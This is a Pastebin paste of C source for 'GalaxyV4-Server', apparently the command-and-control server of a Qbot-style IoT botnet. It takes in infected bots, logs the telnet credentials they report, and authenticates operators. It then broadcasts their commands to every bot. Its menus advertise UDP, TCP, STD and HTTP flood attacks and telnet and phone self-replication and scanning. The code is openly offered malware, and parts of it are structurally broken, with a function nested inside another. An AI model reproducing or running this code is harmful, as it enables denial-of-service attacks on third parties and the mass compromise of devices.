Advertisement
ZucoCheezy

GalaxyV4-Server

Dec 1st, 2018
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 24.62 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. #define MAXFDS 1000000
  18.  
  19. struct login_info {
  20.     char username[100];
  21.     char password[100];
  22. };
  23. static struct login_info accounts[100];
  24. struct clientdata_t {
  25.         uint32_t ip;
  26.         char connected;
  27. } clients[MAXFDS];
  28. struct telnetdata_t {
  29.     int connected;
  30. } managements[MAXFDS];
  31. struct args {
  32.     int sock;
  33.     struct sockaddr_in cli_addr;
  34. };
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int OperatorsConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42.  
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  44.     int total = 0, got = 1;
  45.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46.     return got;
  47. }
  48. void trim(char *str) {
  49.     int i;
  50.     int begin = 0;
  51.     int end = strlen(str) - 1;
  52.     while (isspace(str[begin])) begin++;
  53.     while ((end >= begin) && isspace(str[end])) end--;
  54.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  55.     str[i - begin] = '\0';
  56. }
  57. static int make_socket_non_blocking (int sfd) {
  58.     int flags, s;
  59.     flags = fcntl (sfd, F_GETFL, 0);
  60.     if (flags == -1) {
  61.         perror ("fcntl");
  62.         return -1;
  63.     }
  64.     flags |= O_NONBLOCK;
  65.     s = fcntl (sfd, F_SETFL, flags);
  66.     if (s == -1) {
  67.         perror ("fcntl");
  68.         return -1;
  69.     }
  70.     return 0;
  71. }
  72. static int create_and_bind (char *port) {
  73.     struct addrinfo hints;
  74.     struct addrinfo *result, *rp;
  75.     int s, sfd;
  76.     memset (&hints, 0, sizeof (struct addrinfo));
  77.     hints.ai_family = AF_UNSPEC;
  78.     hints.ai_socktype = SOCK_STREAM;
  79.     hints.ai_flags = AI_PASSIVE;
  80.     s = getaddrinfo (NULL, port, &hints, &result);
  81.     if (s != 0) {
  82.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  83.         return -1;
  84.     }
  85.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  86.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  87.         if (sfd == -1) continue;
  88.         int yes = 1;
  89.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  90.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  91.         if (s == 0) {
  92.             break;
  93.         }
  94.         close (sfd);
  95.     }
  96.     if (rp == NULL) {
  97.         fprintf (stderr, "Could not bind\n");
  98.         return -1;
  99.     }
  100.     freeaddrinfo (result);
  101.     return sfd;
  102. }
  103. void broadcast(char *msg, int us, char *sender)
  104. {
  105.         int sendMGM = 1;
  106.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  107.         char *wot = malloc(strlen(msg) + 10);
  108.         memset(wot, 0, strlen(msg) + 10);
  109.         strcpy(wot, msg);
  110.         trim(wot);
  111.         time_t rawtime;
  112.         struct tm * timeinfo;
  113.         time(&rawtime);
  114.         timeinfo = localtime(&rawtime);
  115.         char *timestamp = asctime(timeinfo);
  116.         trim(timestamp);
  117.         int i;
  118.         for(i = 0; i < MAXFDS; i++)
  119.         {
  120.                 if(i == us || (!clients[i].connected)) continue;
  121.                 if(sendMGM && managements[i].connected)
  122.                 {
  123.                         send(i, "\x1b[1;35m", 9, MSG_NOSIGNAL);
  124.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  125.                         send(i, ": ", 2, MSG_NOSIGNAL);
  126.                 }
  127.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  128.                 send(i, "\n", 1, MSG_NOSIGNAL);
  129.         }
  130.         free(wot);
  131. }
  132. void *BotEventLoop(void *useless) {
  133.     struct epoll_event event;
  134.     struct epoll_event *events;
  135.     int s;
  136.     events = calloc (MAXFDS, sizeof event);
  137.     while (1) {
  138.         int n, i;
  139.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  140.         for (i = 0; i < n; i++) {
  141.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  142.                 clients[events[i].data.fd].connected = 0;
  143.                 close(events[i].data.fd);
  144.                 continue;
  145.             }
  146.             else if (listenFD == events[i].data.fd) {
  147.                while (1) {
  148.                 struct sockaddr in_addr;
  149.                 socklen_t in_len;
  150.                 int infd, ipIndex;
  151.  
  152.                 in_len = sizeof in_addr;
  153.                 infd = accept (listenFD, &in_addr, &in_len);
  154.                 if (infd == -1) {
  155.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  156.                     else {
  157.                         perror ("accept");
  158.                         break;
  159.                          }
  160.                 }
  161.  
  162.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  163.                 int dup = 0;
  164.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  165.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  166.                     if(clients[ipIndex].ip == clients[infd].ip) {
  167.                         dup = 1;
  168.                         break;
  169.                     }}
  170.                 if(dup) {
  171.                     if(send(infd, "!* BOTKILL\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  172.                     close(infd);
  173.                     continue;
  174.                 }
  175.                 s = make_socket_non_blocking (infd);
  176.                 if (s == -1) { close(infd); break; }
  177.                 event.data.fd = infd;
  178.                 event.events = EPOLLIN | EPOLLET;
  179.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  180.                 if (s == -1) {
  181.                     perror ("epoll_ctl");
  182.                     close(infd);
  183.                     break;
  184.                 }
  185.                 clients[infd].connected = 1;
  186.             }
  187.             continue;
  188.         }
  189.         else {
  190.             int datafd = events[i].data.fd;
  191.             struct clientdata_t *client = &(clients[datafd]);
  192.             int done = 0;
  193.             client->connected = 1;
  194.             while (1) {
  195.                 ssize_t count;
  196.                 char buf[2048];
  197.                 memset(buf, 0, sizeof buf);
  198.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  199.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  200.                     trim(buf);
  201.                     if(strcmp(buf, "PING") == 0) {
  202.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  203.                         continue;
  204.                     }
  205.                     if(strstr(buf, "REPORT ") == buf) {
  206.                         char *line = strstr(buf, "REPORT ") + 7;
  207.                         fprintf(telFD, "%s\n", line);
  208.                         fflush(telFD);
  209.                         TELFound++;
  210.                         continue;
  211.                     }
  212.                     if(strstr(buf, "PROBING") == buf) {
  213.                         char *line = strstr(buf, "PROBING");
  214.                         scannerreport = 1;
  215.                         continue;
  216.                     }
  217.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  218.                         char *line = strstr(buf, "REMOVING PROBE");
  219.                         scannerreport = 0;
  220.                         continue;
  221.                     }
  222.                     if(strcmp(buf, "PONG") == 0) {
  223.                         continue;
  224.                     }
  225.                     printf("buf: \"%s\"\n", buf);
  226.                 }
  227.                 if (count == -1) {
  228.                     if (errno != EAGAIN) {
  229.                         done = 1;
  230.                     }
  231.                     break;
  232.                 }
  233.                 else if (count == 0) {
  234.                     done = 1;
  235.                     break;
  236.                 }
  237.             if (done) {
  238.                 client->connected = 0;
  239.                 close(datafd);
  240. }}}}}}
  241. unsigned int BotsConnected() {
  242.     int i = 0, total = 0;
  243.     for(i = 0; i < MAXFDS; i++) {
  244.         if(!clients[i].connected) continue;
  245.         total++;
  246.     }
  247.     return total;
  248. }
  249. int Find_Login(char *str) {
  250.     FILE *fp;
  251.     int line_num = 0;
  252.     int find_result = 0, find_line=0;
  253.     char temp[512];
  254.  
  255.     if((fp = fopen("login.txt", "r")) == NULL){
  256.         return(-1);
  257.     }
  258.     while(fgets(temp, 512, fp) != NULL){
  259.         if((strstr(temp, str)) != NULL){
  260.             find_result++;
  261.             find_line = line_num;
  262.         }
  263.         line_num++;
  264.     }
  265.     if(fp)
  266.         fclose(fp);
  267.     if(find_result == 0)return 0;
  268.     return find_line;
  269. }
  270.  
  271. void *BotWorker(void *sock) {
  272.     int datafd = (int)sock;
  273.     int find_line;
  274.     OperatorsConnected++;
  275.     pthread_t title;
  276.     char buf[2048];
  277.     char* username;
  278.     char* password;
  279.     memset(buf, 0, sizeof buf);
  280.     char botnet[2048];
  281.     memset(botnet, 0, 2048);
  282.     char botcount [2048];
  283.     memset(botcount, 0, 2048);
  284.     char statuscount [2048];
  285.     memset(statuscount, 0, 2048);
  286.  
  287.     FILE *fp;
  288.     int i=0;
  289.     int c;
  290.     fp=fopen("login.txt", "r");
  291.     while(!feof(fp)) {
  292.         c=fgetc(fp);
  293.         ++i;
  294.     }
  295.     int j=0;
  296.     rewind(fp);
  297.     while(j!=i-1) {
  298.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  299.         ++j;
  300.     }  
  301.    
  302.         char clearscreen [2048];
  303.         memset(clearscreen, 0, 2048);
  304.         sprintf(clearscreen, "\033[1A");
  305.         char user [5000];  
  306.        
  307.         sprintf(user, "\e[36mUsername\e[97m: ");
  308.        
  309.         if(send(datafd, user, strlen(user), MSG_NOSIGNAL) == -1) goto end;
  310.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  311.         trim(buf);
  312.         char* nickstring;
  313.         sprintf(accounts[find_line].username, buf);
  314.         nickstring = ("%s", buf);
  315.         find_line = Find_Login(nickstring);
  316.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  317.         char password [5000];
  318.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  319.         sprintf(password, "\e[36mPassword\e[97m: ", accounts[find_line].username);
  320.         if(send(datafd, password, strlen(password), MSG_NOSIGNAL) == -1) goto end;
  321.        
  322.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  323.  
  324.         trim(buf);
  325.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  326.         memset(buf, 0, 2048);
  327.  
  328.         char yes1 [500];
  329.         char yes2 [500];
  330.         char yes3 [500];
  331.         char yes4 [500];
  332.         char yes5 [500];
  333.        
  334.         sprintf(yes1,  "\e[96mPlease wait \e[32m%s \e[96mwe are verifying if your planet is part of \e[35;1mThe Galaxy \e[32m[\e[91m|\e[32m]\r\n", accounts[find_line].username);
  335.         sprintf(yes2,  "\e[96mPlease wait \e[32m%s \e[96mwe are verifying if your planet is part of \e[35;1mThe Galaxy \e[32m[\e[91m/\e[32m]\r\n", accounts[find_line].username);
  336.         sprintf(yes3,  "\e[96mPlease wait \e[32m%s \e[96mwe are verifying if your planet is part of \e[35;1mThe Galaxy \e[32m[\e[91m-\e[32m]\r\n", accounts[find_line].username);
  337.         sprintf(yes4,  "\e[96mPlease wait \e[32m%s \e[96mwe are verifying if your planet is part of \e[35;1mThe Galaxy \e[32m[\e[91m/\e[32m]\r\n", accounts[find_line].username);
  338.         sprintf(yes5,  "\e[96mPlease wait \e[32m%s \e[96mwe are verifying if your planet is part of \e[35;1mThe Galaxy \e[32m[\e[91m-\e[32m]\r\n", accounts[find_line].username);
  339.        
  340.        
  341.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  342.         if(send(datafd, yes1, strlen(yes1), MSG_NOSIGNAL) == -1) goto end;
  343.         sleep (1);
  344.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  345.         if(send(datafd, yes2, strlen(yes2), MSG_NOSIGNAL) == -1) goto end;
  346.         sleep (1);
  347.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  348.         if(send(datafd, yes3, strlen(yes3), MSG_NOSIGNAL) == -1) goto end;
  349.         sleep (1);
  350.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  351.         if(send(datafd, yes4, strlen(yes4), MSG_NOSIGNAL) == -1) goto end;
  352.         sleep (1);
  353.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  354.         if(send(datafd, yes5, strlen(yes5), MSG_NOSIGNAL) == -1) goto end;
  355.         sleep (1);
  356.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  357.        
  358.         goto Banner;
  359.         }
  360. void *TitleWriter(void *sock) {
  361.     int datafd = (int)sock;
  362.     char string[2048];
  363.     while(1) {
  364.         memset(string, 0, 2048);
  365.         sprintf(string, "%c]0; Planets [ %d ] | [ %s ] - Stars [ %d ]%c", '\033', BotsConnected(), accounts[find_line].username, OperatorsConnected, '\007');
  366.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  367.         sleep(2);
  368.         }
  369. }      
  370.         failed:
  371.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  372.         goto end;
  373.  
  374.         Banner:
  375.         pthread_create(&title, NULL, &TitleWriter, sock);
  376.         char ascii_banner_line1   [5000];
  377.         char ascii_banner_line2   [5000];
  378.         char ascii_banner_line3   [5000];
  379.         char ascii_banner_line4   [5000];
  380.         char ascii_banner_line5   [5000];
  381.         char ascii_banner_line6   [5000];
  382.         char ascii_banner_line7   [5000];
  383.         char ascii_banner_line8   [5000];
  384.         char ascii_banner_line9   [5000];
  385.         char ascii_banner_line10   [5000];
  386.         char ascii_banner_line11   [5000];
  387.        
  388.   sprintf(ascii_banner_line1,   "\e[35m      \e[36m  .d8888b. \e[35m          888       \e[32mo\e[35m                     \e[32m   .-o--.     \r\n");
  389.   sprintf(ascii_banner_line2,   "\e[35m  \e[32m0    \e[36md88P  Y88b\e[35m          888             \e[32mO\e[35m               \e[32m  :O o O :    \r\n");
  390.   sprintf(ascii_banner_line3,   "\e[35m      \e[36m 888    888\e[35m          888                             \e[32m  : O. Oo;    \r\n");
  391.   sprintf(ascii_banner_line4,   "\e[35m      \e[36m 888       \e[35m  8888b.  888  8888b.  888  888 888  888 \e[32m    `-.O-'     \r\n");
  392.   sprintf(ascii_banner_line5,   "\e[35m      \e[36m 888  88888\e[35m     *88b 888     *88b `Y8bd8P' 888  888 \e[32m              \r\n");
  393.   sprintf(ascii_banner_line6,   "\e[35m      \e[36m 888    888\e[35m .d888888 888 .d888888   X88K   888  888 \e[32m              \r\n");
  394.   sprintf(ascii_banner_line7,   "\e[35m      \e[36m Y88b  d88P\e[35m 888  888 888 888  888 .d8**8b. Y88b 888 \e[32m              \r\n");
  395.   sprintf(ascii_banner_line8,   "\e[35m      \e[36m  *Y8888P88\e[35m *Y888888 888 *Y888888 888  888  *Y88888 \e[32m              \r\n");
  396.   sprintf(ascii_banner_line9,   "\e[35m      \e[36m           \e[35m                        \e[32m.\e[35m            888 \e[32m              \r\n");
  397.   sprintf(ascii_banner_line10,  "\e[35m      \e[36m    \e[32mo\e[35m       \e[35m                               Y8b d88P \e[32m              \r\n");
  398.   sprintf(ascii_banner_line11,  "\e[35m      \e[36m           \e[35m                                 *Y88P*  \e[32m              \r\n");
  399.  
  400.  
  401.   if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  402.   if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  403.   if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  404.   if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  405.   if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  406.   if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  407.   if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  408.   if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  409.   if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  410.   if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  411.   if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  412.         while(1) {
  413.         char input [5000];
  414.         sprintf(input, "\e[32m%s\e[36m@\e[35mTheGalaxy\e[94m>\e[37m ", accounts[find_line].username);
  415.         if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  416.         break;
  417.         }
  418.         pthread_create(&title, NULL, &TitleWriter, sock);
  419.         managements[datafd].connected = 1;
  420.  
  421.         while(fdgets(buf, sizeof buf, datafd) > 0) {  
  422.             if(strstr(buf, "BOTS")) {
  423.                 char botcount [2048];
  424.                 memset(botcount, 0, 2048);
  425.                 char statuscount [2048];
  426.                 char ops [2048];
  427.                 memset(statuscount, 0, 2048);
  428.                 sprintf(botcount,    "\e[35mPlanets:        \e[32m%d\r\n", BotsConnected(), OperatorsConnected);       
  429.                 sprintf(statuscount, "\e[35mDwarf Planets:  \e[32m%d\r\n", TELFound, scannerreport);
  430.                 sprintf(ops,         "\e[35mStars Online:   \e[32m%d\r\n", OperatorsConnected, scannerreport);
  431.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  432.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  433.                 if(send(datafd, ops, strlen(ops), MSG_NOSIGNAL) == -1) return;
  434.         char input [5000];
  435.         sprintf(input, "\e[32m%s\e[36m@\e[35mTheGalaxy\e[94m>\e[37m ", accounts[find_line].username);
  436.         if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  437.                 continue;
  438.             }
  439.            
  440.             if(strstr(buf, "HELP")) {
  441.                 pthread_create(&title, NULL, &TitleWriter, sock);
  442.                 char hp1  [800];
  443.                 char hp2  [800];
  444.                 char hp3  [800];
  445.                 char hp4  [800];
  446.                 char hp5  [800];
  447.                 char hp6  [800];
  448.                 char hp7  [800];
  449.                 char hp8  [800];
  450.  
  451.                 sprintf(hp1,  "\e[37m[---\e[31mList Of Helpfull Commands\e[37m---]\r\n");
  452.                 sprintf(hp2,  "\e[32mSTOP         \e[37m| \e[36mKills All Current Attacks\r\n");
  453.                 sprintf(hp3,  "\e[32mSTATUS       \e[37m| \e[36mShows The Status Of Botnet\r\n");
  454.                 sprintf(hp4,  "\e[32mATTACK       \e[37m| \e[36mDisplays Help For DDoS Commands\r\n");
  455.                 sprintf(hp5,  "\e[32mCLEAR        \e[37m| \e[36mClears You Screen\r\n");
  456.                 sprintf(hp6,  "\e[32m!* TELNET    \e[37m| \e[36mON | OFF | Starts Telnet Selfrep\r\n");
  457.                 sprintf(hp7,  "\e[32m!* PHONE     \e[37m| \e[36mON | OFF | Starts Phones Selfrep\r\n");
  458.                 sprintf(hp8,  "\e[32m!* SCANNER   \e[37m| \e[36mON | OFF | Starts Telnet Scanner\r\n");
  459.  
  460.                 if(send(datafd, hp1,  strlen(hp1),  MSG_NOSIGNAL) == -1) goto end;
  461.                 if(send(datafd, hp2,  strlen(hp2),  MSG_NOSIGNAL) == -1) goto end;
  462.                 if(send(datafd, hp3,  strlen(hp3),  MSG_NOSIGNAL) == -1) goto end;
  463.                 if(send(datafd, hp4,  strlen(hp4), MSG_NOSIGNAL) == -1) goto end;
  464.                 if(send(datafd, hp5,  strlen(hp5), MSG_NOSIGNAL) == -1) goto end;
  465.                 if(send(datafd, hp6,  strlen(hp6), MSG_NOSIGNAL) == -1) goto end;
  466.                 if(send(datafd, hp7,  strlen(hp7), MSG_NOSIGNAL) == -1) goto end;
  467.                 if(send(datafd, hp8,  strlen(hp8), MSG_NOSIGNAL) == -1) goto end;
  468.                
  469.                 pthread_create(&title, NULL, &TitleWriter, sock);
  470.         char input [5000];
  471.         sprintf(input, "\e[32m%s\e[36m@\e[35mTheGalaxy\e[94m>\e[37m ", accounts[find_line].username);
  472.         if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  473.                 continue;
  474.             }
  475.                 if(strstr(buf, "ATTACK")) {
  476.                 pthread_create(&title, NULL, &TitleWriter, sock);
  477.                 char ls1  [800];
  478.                 char ls2  [800];
  479.                 char ls3  [800];
  480.                 char ls4  [800];
  481.                 char ls5  [800];
  482.                 char ls6  [800];
  483.  
  484.                 sprintf(ls1,  "\e[37m[----\e[31mAttack Commands\e[37m----]\r\n");
  485.                 sprintf(ls2,  "\e[32m!* UDP \e[35mIP PORT TIME 32 0 10                 \e[37m|\e[36m Launches A UDP Flood\r\n");
  486.                 sprintf(ls3,  "\e[32m!* TCP \e[35mIP PORT TIME 32 all 0 10             \e[37m|\e[36m Launches A TCP Flood\r\n");
  487.                 sprintf(ls4,  "\e[32m!* STD \e[35mIP PORT TIME SIZE                    \e[37m|\e[36m Launches A STD Flood\r\n");
  488.                 sprintf(ls5,  "\e[32m!* CNC \e[35mIP PORT TIME                         \e[37m|\e[36m Launches A CNC Flood\r\n");
  489.                 sprintf(ls6,  "\e[32m!* HTTP \e[35mGET|HEAD|POST IP 80 / TIME POWER    \e[37m|\e[36m Launches A HTTP Flood\r\n");
  490.                
  491.                 if(send(datafd, ls1,  strlen(ls1),  MSG_NOSIGNAL) == -1) goto end;
  492.                 if(send(datafd, ls2,  strlen(ls2),  MSG_NOSIGNAL) == -1) goto end;
  493.                 if(send(datafd, ls3,  strlen(ls3),  MSG_NOSIGNAL) == -1) goto end;
  494.                 if(send(datafd, ls4,  strlen(ls4),  MSG_NOSIGNAL) == -1) goto end;
  495.                 if(send(datafd, ls5,  strlen(ls5),  MSG_NOSIGNAL) == -1) goto end;
  496.                 if(send(datafd, ls6,  strlen(ls6),  MSG_NOSIGNAL) == -1) goto end;
  497.  
  498.                 pthread_create(&title, NULL, &TitleWriter, sock);
  499.         char input [5000];
  500.         sprintf(input, "\e[32m%s\e[36m@\e[35mTheGalaxy\e[94m>\e[37m ", accounts[find_line].username);
  501.         if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  502.                 continue;
  503.         }
  504.             if(strstr(buf, "!* BOTKILL")) {
  505.                 char gtfomynet [2048];
  506.                 memset(gtfomynet, 0, 2048);
  507.                 sprintf(gtfomynet, "!* BOTKILL\r\n");
  508.                 broadcast(buf, datafd, gtfomynet);
  509.                 continue;
  510.             }
  511.             if(strstr(buf, "STOP"))
  512.             {
  513.                 char killattack [2048];
  514.                 memset(killattack, 0, 2048);
  515.                 char killattack_msg [2048];
  516.                
  517.                 sprintf(killattack, "\e[96m[ATTACKS] \e[37mAttempting To Stop All Attacks\r\n");
  518.                 broadcast(killattack, datafd, "output.");
  519.                 if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  520.                 while(1) {
  521.         char input [5000];
  522.         sprintf(input, "\e[32m%s\e[36m@\e[35mTheGalaxy\e[94m>\e[37m ", accounts[find_line].username);
  523.         if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  524.                 break;
  525.                 }
  526.                 continue;
  527.             }
  528.             if(strstr(buf, "CLEAR")) {
  529.                 char clearscreen [2048];
  530.                 memset(clearscreen, 0, 2048);
  531.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  532.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  533.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  534.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  535.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  536.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  537.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  538.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  539.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  540.                 if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  541.                 if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  542.                 if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  543.                 if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  544.                 while(1) {
  545.         char input [5000];
  546.         sprintf(input, "\e[32m%s\e[36m@\e[35mTheGalaxy\e[94m>\e[37m ", accounts[find_line].username);
  547.         if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  548.                 break;
  549.                 }
  550.                 continue;
  551.             }
  552.             if(strstr(buf, "EXIT")) {
  553.                 char logoutmessage [2048];
  554.                 memset(logoutmessage, 0, 2048);
  555.                 sprintf(logoutmessage, "\e[96m[LOGOUT] \e[37m%s Has Been Logged Out", accounts[find_line].username);
  556.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  557.                 sleep(2);
  558.                 goto end;
  559.             }
  560.  
  561.             trim(buf);
  562.         char input [5000];
  563.         sprintf(input, "\e[32m%s\e[36m@\e[35mTheGalaxy\e[94m>\e[37m ", accounts[find_line].username);
  564.         if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  565.             if(strlen(buf) == 0) continue;
  566.             printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  567.  
  568.             FILE *LogFile;
  569.             LogFile = fopen("history.log", "a");
  570.             time_t now;
  571.             struct tm *gmt;
  572.             char formatted_gmt [50];
  573.             char lcltime[50];
  574.             now = time(NULL);
  575.             gmt = gmtime(&now);
  576.             strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  577.             fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  578.             fclose(LogFile);
  579.             broadcast(buf, datafd, accounts[find_line].username);
  580.             memset(buf, 0, 2048);
  581.         }
  582.  
  583.         end:
  584.         managements[datafd].connected = 0;
  585.         close(datafd);
  586.         OperatorsConnected--;
  587. }
  588. void *BotListener(int port) {
  589.     int sockfd, newsockfd;
  590.     socklen_t clilen;
  591.     struct sockaddr_in serv_addr, cli_addr;
  592.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  593.     if (sockfd < 0) perror("ERROR opening socket");
  594.     bzero((char *) &serv_addr, sizeof(serv_addr));
  595.     serv_addr.sin_family = AF_INET;
  596.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  597.     serv_addr.sin_port = htons(port);
  598.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  599.     listen(sockfd,5);
  600.     clilen = sizeof(cli_addr);
  601.     while(1) {
  602.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  603.         if (newsockfd < 0) perror("ERROR on accept");
  604.         pthread_t thread;
  605.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  606. }}
  607. int main (int argc, char *argv[], void *sock) {
  608.         signal(SIGPIPE, SIG_IGN);
  609.         int s, threads, port;
  610.         struct epoll_event event;
  611.         if (argc != 4) {
  612.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  613.             exit (EXIT_FAILURE);
  614.         }
  615.         port = atoi(argv[3]);
  616.         telFD = fopen("telnet.txt", "a+");
  617.         threads = atoi(argv[2]);
  618.         listenFD = create_and_bind (argv[1]);
  619.         if (listenFD == -1) abort ();
  620.         s = make_socket_non_blocking (listenFD);
  621.         if (s == -1) abort ();
  622.         s = listen (listenFD, SOMAXCONN);
  623.         if (s == -1) {
  624.             perror ("listen");
  625.             abort ();
  626.         }
  627.         epollFD = epoll_create1 (0);
  628.         if (epollFD == -1) {
  629.             perror ("epoll_create");
  630.             abort ();
  631.         }
  632.         event.data.fd = listenFD;
  633.         event.events = EPOLLIN | EPOLLET;
  634.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  635.         if (s == -1) {
  636.             perror ("epoll_ctl");
  637.             abort ();
  638.         }
  639.         pthread_t thread[threads + 2];
  640.         while(threads--) {
  641.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  642.         }
  643.         pthread_create(&thread[0], NULL, &BotListener, port);
  644.         while(1) {
  645.             broadcast("PING", -1, "ZERO");
  646.             sleep(60);
  647.         }
  648.         close (listenFD);
  649.         return EXIT_SUCCESS;
  650. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement